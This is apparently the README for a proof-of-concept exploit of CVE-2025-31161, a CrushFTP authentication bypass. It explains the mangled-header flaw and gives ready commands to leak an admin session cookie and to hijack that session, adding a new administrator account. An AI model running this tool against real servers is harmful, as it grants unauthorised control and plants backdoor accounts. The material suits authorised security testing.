shisones/cve-2025-31161A proof of concept for CVE-2025-31161, using mangled HTTP header to perform unauthenticated impersonation of any user in Crush FTP server.
Warning: This tool is for authorized security testing and educational purposes only. Unauthorized use against systems you do not have explicit permission to test is illegal.
This tool is a proof-of-concept (PoC) for CVE-2025-31161, a critical authentication bypass vulnerability in CrushFTP (versions < 10.8.4 and < 11.3.1). The vulnerability exploits a logic error in the AWS4-HMAC header parsing, where a mangled header triggers an IndexOutOfBounds exception. This exception prevents the server from cleaning up the session, effectively leaving the user authenticated as the requested account without a password.
Credential=user/) causes an unhandled Java exception, bypassing session cleanup.requests librarypip install requests
The script operates in two modes: Check (Observation) and Exploit (Action).
Verifies if the target is vulnerable by attempting to leak a session cookie for the default admin account. This does not modify the target system.
python3 exploit.py check -u <target_ip> -p <port>
python3 exploit.py check -u 192.168.1.50 -p 8080Hijacks a session for the specified administrative user and uses it to inject a new administrative account into the MainUsers group.
python3 exploit.py exploit -u <target_ip> -p <port> -a <admin_user> -nu <new_username> -np <new_password>
python3 exploit.py exploit -u 192.168.1.50 -p 8080 -a crushadmin -nu operator -np StrongPass123!| Flag | Name | Description | Default |
|---|---|---|---|
-u | --url | Target IP address or hostname | Required |
-p | --port | Target port | 8080 |
-a | --admin_user | Existing admin account to impersonate | crushadmin |
-nu | --new_user | Username for the new admin account | Required |
-np | --new_password | Password for the new admin account | Required |